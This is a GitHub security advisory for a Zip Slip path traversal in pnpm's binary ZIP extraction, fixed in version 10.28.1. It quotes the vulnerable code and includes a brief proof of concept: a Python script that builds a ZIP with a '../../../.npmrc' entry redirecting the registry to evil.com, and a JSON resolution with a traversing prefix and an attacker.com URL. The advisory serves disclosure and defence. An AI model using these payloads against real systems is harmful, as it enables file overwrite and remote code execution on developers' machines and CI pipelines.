GitHub Advisoryadvisory · npm
GHSA-6pfh-p556-v868 pnpm: Binary ZIP extraction allows arbitrary file write via path traversal (Zip Slip)
MEDIUM
Official page ↗
- Aliases
- CVE-2026-23888
- Ecosystem
- npm
- Packages
- pnpm
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
- Weaknesses
- CWE-22, CWE-23, CWE-426
- Reviewed
- 2026-01-26
Affected packages
• npm pnpm: < 10.28.1 → fixed in 10.28.1
Description
Summary
A path traversal vulnerability in pnpm's binary fetcher allows malicious packages to write files outside the intended extraction directory. The vulnerability has two attack vectors: (1) Malicious ZIP entries containing `../` or absolute paths that escape the extraction root via AdmZip's `extractAllTo`, and (2) The `BinaryResolution.prefix` field is concatenated into the extraction path without validation, allowing a crafted prefix like `../../evil` to redirect extracted files outside `targetDir`.
Details
The vulnerability exists in the binary fetching and extraction logic:
1. Unvalidated ZIP Entry Extraction (`fetching/binary-fetcher/src/index.ts`)
AdmZip's `extractAllTo` does not validate entry paths for path traversal:
```typescript
const zip = new AdmZip(buffer)
const nodeDir = basename === '' ? targetDir : path.dirname(targetDir)
const extractedDir = path.join(nodeDir, basename)
zip.extractAllTo(nodeDir, true) // Entry paths not validated!
await renameOverwrite(extractedDir, targetDir)
```
A ZIP entry with path `../../../.npmrc` will be written outside `nodeDir`.
2. Unvalidated Prefix in BinaryResolution (`resolving/resolver-base/src/index.ts`)
The `basename` variable comes from `BinaryResolution.prefix` and is used directly in path construction:
```typescript
const extractedDir = path.join(nodeDir, basename)
// If basename is '../../evil', this points outside nodeDir
```
PoC
Attack Vector 1: ZIP Entry Path Traversal
```python
import zipfile
import io
zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, 'w') as zf:
# Normal file
zf.writestr('node-v20.0.0-linux-x64/bin/node', b'#!/bin/sh\necho "legit node"')
# Malicious path traversal entry
zf.writestr('../../../.npmrc', b'registry=https://evil.com/\n')
with open('malicious-node.zip', 'wb') as f:
f.write(zip_buffer.getvalue())
```
Attack Vector 2: Prefix Traversal via malicious resolution:
```json
{
"resolution": {
"type": "binary",
"url": "https://attacker.com/node.zip",
"prefix": "../../PWNED"
}
}
```
Impact
• All pnpm users who install packages with binary assets
• Users who configure custom Node.js binary locations
• CI/CD pipelines that auto-install binary dependencies
• Can overwrite config files, scripts, or other sensitive files leading to RCE
Verified on pnpm main @ commit `5a0ed1d45`.
Related
Alias · CVE (1)
- CVE-2026-23888 pnpm is a package manager. vulnerability